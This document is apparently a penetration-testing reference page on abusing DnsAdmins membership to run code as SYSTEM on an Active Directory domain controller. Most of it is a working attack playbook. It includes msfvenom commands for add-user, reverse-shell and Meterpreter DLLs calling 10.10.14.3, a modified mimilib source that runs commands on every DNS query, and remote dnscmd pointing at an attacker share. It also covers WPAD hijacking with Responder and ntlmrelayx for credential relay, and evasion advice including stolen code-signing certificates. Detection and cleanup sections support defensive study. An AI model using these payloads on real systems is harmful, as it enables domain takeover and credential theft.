Skip to content

DnsAdmins

T1574.002 T1078.002 T1068 Exploitation for Privilege Escalation PrivEsc SystemCompromise DomainCompromise AdminCompromise

A member of the DnsAdmins group can specify an arbitrary DLL path for the DNS service to load via the ServerLevelPluginDll registry value. The DNS service runs as NT AUTHORITY\SYSTEM, and on a Domain Controller DNS is typically co-located - so the loaded DLL executes as SYSTEM on the DC. From SYSTEM on a DC, NTDS.dit dump and golden ticket forging are straightforward.

# Confirm membership
whoami /groups | findstr DnsAdmins
Get-ADGroupMember -Identity DnsAdmins
# Generate malicious DLL (attacker host)
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
# Stage DLL and point DNS at it
copy adduser.dll C:\Users\netadm\Desktop\adduser.dll
dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
# Restart the DNS service to load the DLL
sc stop dns && sc start dns
# or: net stop dns && net start dns
# Verify
net group "Domain Admins" /domain

Success indicator: arbitrary code execution as SYSTEM on the Domain Controller - net group membership change, reverse shell as SYSTEM, or persistence implant deployed.

DNS in an Active Directory forest is almost always integrated with the Domain Controllers - every DC typically runs the DNS Server service so that AD-integrated DNS zones replicate via AD replication rather than zone transfers. The DNS service runs as NT AUTHORITY\SYSTEM.

Microsoft designed the DNS service to support custom plugin DLLs. When a name resolution query falls outside any locally-hosted zone, the service consults the path stored in HKLM\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll. If that value is populated, the DLL is loaded into the DNS service process. Since the service runs as SYSTEM, the DLL executes as SYSTEM.

The privilege escalation: the DnsAdmins group has rights to set ServerLevelPluginDll via the dnscmd.exe RPC interface. There is no path validation - the value can point to any DLL accessible to the DNS service. A DnsAdmins member who is not otherwise an administrator can write the value, restart DNS, and gain SYSTEM execution on the DC.

The composition matters: SYSTEM on the DC has access to NTDS.dit, the SAM and SYSTEM registry hives, the krbtgt account’s NT hash, every domain user’s NT hash, and every Kerberos service account key. SYSTEM on a DC is functionally equivalent to Domain Admin plus all account credentials.

DnsAdmins is therefore treated as a tier-0 group in any sound AD security model, despite its name suggesting a narrow administrative scope.

Terminal window
C:\> whoami /groups | findstr -i dnsadmins
INLANEFREIGHT\DnsAdmins Group S-1-5-21-...-1106 Mandatory group, Enabled by default

Or query AD directly:

Terminal window
PS> Get-ADGroupMember -Identity DnsAdmins
distinguishedName : CN=netadm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
name : netadm
objectClass : user
objectGUID : 1a1ac159-f364-4805-a4bb-7153051a8c14
SamAccountName : netadm
SID : S-1-5-21-669053619-2741956077-1013132368-1109

If the current user isn’t a member but the engagement involves AD object ACL abuse (e.g., GenericWrite over the DnsAdmins group), the path is to add the controlled account first, then proceed.

The DLL must export DllMain and perform the action of choice on DLL_PROCESS_ATTACH. For simple actions, msfvenom builds this in one command.

Terminal window
$ msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 313 bytes
Final size of dll file: 5120 bytes
Saved as: adduser.dll

Architecture note: match the DLL architecture to the DNS service architecture. Modern Windows Server DCs are x64; use windows/x64/exec. Older Server 2008 R2 DCs may still be x64 (most are), but verify with systeminfo on the target before generating.

Terminal window
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.3 LPORT=8443 -f dll -o revshell.dll

Pair with nc -lvnp 8443 on the attacker. The DNS service will spawn the reverse shell as SYSTEM when it loads the DLL.

Terminal window
$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=8443 -f dll -o meter.dll

Catch with msfconsole -r handler.rc configured for the same payload type. Meterpreter is more capable for post-exploitation but more heavily signatured.

Benjamin Delpy’s mimilib (companion to mimikatz) ships a DNS plugin variant that logs DNS queries and can execute commands. Modify kdns.c before compiling:

DWORD WINAPI kdns_DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PDB_RECORD *ppDnsRecordListHead)
{
FILE * kdns_logfile;
if(kdns_logfile = _wfopen(L"kiwidns.log", L"a"))
{
klog(kdns_logfile, L"%S (%hu)\n", pszQueryName, wQueryType);
fclose(kdns_logfile);
system("ENTER COMMAND HERE"); // ← attacker command runs as SYSTEM per query
}
return ERROR_SUCCESS;
}

Compile mimilib with the modified source, drop the resulting mimilib.dll to the target, and use it as the ServerLevelPluginDll value. The advantage over a single-shot msfvenom DLL: every DNS query the service processes triggers the system() call, giving persistence-style execution rather than a one-time payload. The disadvantage: each query spawns a process, which is noisy.

The path used in ServerLevelPluginDll must be readable by the DNS service (which runs as SYSTEM, so almost any path works). Common staging locations:

  • C:\Users\<dnsadmin>\Desktop\ - works if dnsadmin is a real user with a profile and the desktop is writable
  • C:\Windows\Temp\ - writable by BUILTIN\Users, accessible by SYSTEM
  • C:\ProgramData\ - similar properties

A network share path (\\attacker\share\adduser.dll) also works because the DC machine account can read attacker-controlled SMB shares - but this generates extra noise and may fail in environments with SMB egress filtering.

For the canonical Inlanefreight-style scenario where netadm is a domain user member of DnsAdmins with RDP to a member server:

Terminal window
C:\> copy adduser.dll C:\Users\netadm\Desktop\adduser.dll

For non-RDP contexts, drop via SMB:

Terminal window
$ smbclient -U netadm //DC01/C$
smb: \> cd Users\netadm\Desktop
smb: \Users\netadm\Desktop\> put adduser.dll

Or via the same SMB mechanism that delivered other tools to the host.

The dnscmd.exe utility is the supported interface for DnsAdmins to configure the DNS service. Direct registry writes by DnsAdmins members fail - the group has no direct rights on HKLM\SYSTEM\CurrentControlSet\services\DNS\Parameters. The DNS service exposes RPC methods that dnscmd.exe invokes, which then perform the registry write as SYSTEM on behalf of the caller.

If the user isn’t in DnsAdmins, the command fails:

Terminal window
C:\> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED

ERROR_ACCESS_DENIED is the indicator that the current user isn’t a DnsAdmins member.

Terminal window
C:\> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
Registry property serverlevelplugindll successfully reset.
Command completed successfully.

The full absolute path is required - relative paths and PATH-style lookups fail. UNC paths to remote shares also work if SMB egress is open from the DC.

If you have DnsAdmins on the domain but not interactive access to the DC, dnscmd accepts a remote DC as the first argument:

Terminal window
C:\> dnscmd.exe DC01.inlanefreight.local /config /serverlevelplugindll \\10.10.14.3\share\adduser.dll

This is the variant most useful for engagements where DnsAdmins membership exists on a workstation that doesn’t itself host DNS - write to the DC remotely.

The DLL is only loaded when the DNS service starts. Setting ServerLevelPluginDll doesn’t trigger an immediate load - the service must restart.

DnsAdmins membership doesn’t automatically include service-restart rights on the DNS service. Check before assuming:

Terminal window
C:\> wmic useraccount where name="netadm" get sid
SID
S-1-5-21-669053619-2741956077-1013132368-1109
C:\> sc.exe sdshow DNS
D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;RPWP;;;S-1-5-21-669053619-2741956077-1013132368-1109)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

Look for the user’s SID in the SDDL. The ACE (A;;RPWP;;;<USER_SID>) grants SERVICE_START (RP) and SERVICE_STOP (WP) to the user. In the example above, netadm has RPWP on the DNS service - enough to restart.

If the SID isn’t listed with start/stop rights, the operator can’t trigger immediate execution and must wait for a natural service restart (server reboot, scheduled maintenance, or a DNS service crash). This is unreliable for time-boxed engagements.

For SDDL syntax reference: A = Allow ACE; RP = SERVICE_START; WP = SERVICE_STOP; LC = SERVICE_QUERY_STATUS; DC = SERVICE_CHANGE_CONFIG; SW = SERVICE_ENUMERATE_DEPENDENTS; LO = SERVICE_INTERROGATE; CR = SERVICE_USER_DEFINED_CONTROL; RC = READ_CONTROL; WD = WRITE_DAC; WO = WRITE_OWNER.

Terminal window
C:\> sc stop dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
C:\> sc start dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING

The start may show as START_PENDING followed by an error if the DLL is malformed or if the DNS service crashes after loading it (common with one-shot msfvenom payloads - the payload runs, but the service fails to provide DNS resolution).

PowerShell sometimes refuses sc start from a non-elevated console. The CMD equivalents are reliable:

Terminal window
C:\> net stop dns
C:\> net start dns

Or:

Terminal window
PS> Restart-Service -Name DNS -Force

If the DNS service crashes during the malicious DLL load, the net start may fail with a generic error - but the payload has already run by then. Check the actual effect (e.g., net group "Domain Admins" /domain for an add-user payload) rather than relying on the service-restart command’s return code.

For the add-to-Domain-Admins variant:

Terminal window
C:\> net group "Domain Admins" /domain
Group name Domain Admins
Comment Designated administrators of the domain
Members
-------------------------------------------------------------------------------
Administrator netadm
The command completed successfully.

netadm appearing in the Domain Admins list confirms the DLL executed as SYSTEM on the DC. The new membership doesn’t take effect for the current session - log out and back in as netadm, or use the credentials for a fresh authentication, to receive a token with Domain Admin group SID.

For the reverse-shell variant, the listener catches a SYSTEM-context shell from the DC. For the meterpreter variant, the handler shows Server username: NT AUTHORITY\SYSTEM on the DC.

This attack is destructive - both because the DNS service may be left in a non-functional state, and because the ServerLevelPluginDll registry value persists across reboots, causing the malicious DLL to load every time DNS starts.

Terminal window
C:\> reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters
GlobalQueryBlockList REG_MULTI_SZ wpad\0isatap
EnableGlobalQueryBlockList REG_DWORD 0x1
Forwarders REG_MULTI_SZ 1.1.1.1\08.8.8.8
ServerLevelPluginDll REG_SZ C:\Users\netadm\Desktop\adduser.dll
C:\> reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
Delete the registry value ServerLevelPluginDll (Yes/No)? Y
The operation completed successfully.

The reg-delete works from a SYSTEM context (which the operator now has via the privesc) or from an existing admin account. From the original DnsAdmins context it fails - DnsAdmins doesn’t have direct registry write.

After deletion, restart DNS once more to clear any cached state:

Terminal window
C:\> sc start dns

Verify the service is healthy:

Terminal window
C:\> sc query dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING

And confirm DNS resolution works via nslookup against the DC.

Terminal window
C:\> del C:\Users\netadm\Desktop\adduser.dll

For engagements where the new Domain Admin account was created, remove it:

Terminal window
C:\> net group "Domain Admins" netadm /delete /domain

When DLL loading isn’t feasible - too noisy, blocked by AMSI/EDR, or DNS service is unstable after the load - DnsAdmins can be abused via a DNS record manipulation instead. The technique: disable the DNS global-query-block list, then create a wpad record pointing at the attacker.

Windows clients by default look up wpad.<domain> to find a Web Proxy Auto-Discovery Protocol configuration. If they get an answer, they proxy traffic through the address it points to. This is exploitable: an attacker hosting a proxy on that address captures authenticated HTTP traffic (including NTLM challenge-response that can be relayed or cracked offline).

Microsoft mitigated this in Server 2008+ by adding wpad and isatap to a global-query-block list - even if a wpad record exists in DNS, the server refuses to answer the query. The block list lives in HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\GlobalQueryBlockList.

DnsAdmins members can disable the block list, which re-enables WPAD-based attacks across the domain.

Terminal window
PS> Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local

Or via the legacy interface:

Terminal window
C:\> dnscmd.exe DC01.inlanefreight.local /config /enableglobalqueryblocklist 0
Terminal window
PS> Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3

The IP points at the attacker host. Now domain clients resolving wpad.inlanefreight.local (which they do automatically on network join) will direct their web traffic to the attacker.

On the attacker:

Terminal window
$ sudo responder -wrf -v -I tun0

or:

Terminal window
$ python3 ntlmrelayx.py -tf targets.txt -smb2support

The captured NTLMv2 hashes can be cracked offline with hashcat (mode 5600), or relayed live to other services with ntlmrelayx.py to gain access without ever cracking.

This approach doesn’t directly give SYSTEM on the DC, but it provides a steady stream of credentials and lateral movement opportunities across the domain - sometimes more valuable than a single SYSTEM shell on one machine.

The technique generates strong telemetry:

  • Event 4657 (registry value modified) on ServerLevelPluginDll - almost never legitimately changed
  • Sysmon event 13 (registry value set) on the same value
  • DNS service stop/start events in the System log - pairs with the registry change
  • Process creation from the DNS service (dns.exe parent) - dns.exe doesn’t normally spawn child processes; dns.exe → cmd.exe is highly anomalous
  • Sysmon event 7 (image loaded) showing a non-Microsoft-signed DLL loaded by dns.exe
  • Microsoft Defender for Identity alerts specifically on this attack pattern

For evasive ops:

  • Use a DLL with no obvious payload - just open a port or write a marker file, then chain the SYSTEM access into a subsequent technique
  • Sign the DLL with a stolen or legitimate code-signing certificate if one is available
  • Time the attack during a window where DNS service restarts are expected (e.g., during scheduled maintenance)

Microsoft considers DnsAdmins-to-SYSTEM-on-DC a configuration issue rather than a vulnerability. The DnsAdmins group exists to administer DNS, and DNS administration includes the ability to load plugin DLLs. The recommendation from Microsoft is to treat DnsAdmins as a tier-0 group - equivalent to Domain Admin from a risk perspective - and protect membership accordingly.

In practice, many organizations populate DnsAdmins with help-desk or junior infrastructure staff who don’t have Domain Admin rights. This is a misconfiguration in the operational sense even though no specific Windows bug exists.

TaskPattern
Confirm DnsAdmins membershipwhoami /groups | findstr DnsAdmins
List DnsAdmins members (AD)Get-ADGroupMember -Identity DnsAdmins
Generate add-user DLLmsfvenom -p windows/x64/exec cmd='net group "domain admins" USER /add /domain' -f dll -o add.dll
Generate reverse-shell DLLmsfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f dll -o rev.dll
Generate meterpreter DLLmsfvenom -p windows/x64/meterpreter/reverse_https LHOST=IP LPORT=PORT -f dll -o meter.dll
Stage DLL locallycopy payload.dll C:\Users\netadm\Desktop\
Stage DLL via SMBsmbclient //DC/C$ -U dnsadmin → put payload.dll
Set ServerLevelPluginDll (local DC)dnscmd.exe /config /serverlevelplugindll C:\path\payload.dll
Set ServerLevelPluginDll (remote DC)dnscmd.exe DC01.domain /config /serverlevelplugindll \\attacker\share\payload.dll
Check restart rights on DNSsc sdshow DNS - look for user SID with RPWP
Restart DNS service (sc)sc stop dns && sc start dns
Restart DNS service (net)net stop dns && net start dns
Restart DNS service (PS)Restart-Service -Name DNS -Force
Verify add-user successnet group "Domain Admins" /domain
Cleanup - remove registry valuereg delete \\DC\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
Cleanup - restart DNS cleansc start dns
Alternative - disable WPAD blockSet-DnsServerGlobalQueryBlockList -Enable $false -ComputerName DC
Alternative - add WPAD recordAdd-DnsServerResourceRecordA -Name wpad -ZoneName DOMAIN -IPv4Address ATTACKER -ComputerName DC
Capture WPAD-relayed credssudo responder -wrf -I tun0 or ntlmrelayx.py -tf targets.txt -smb2support
Detection signalEvent 4657 on ServerLevelPluginDll, Sysmon 7 on dns.exe loading non-MS DLL

For the post-exploitation path from SYSTEM on a DC, see Backup Operators (NTDS.dit dump). For other tier-0-equivalent groups, see Other privileged groups (Hyper-V Administrators, Print Operators, Server Operators).

Defenses D3-PM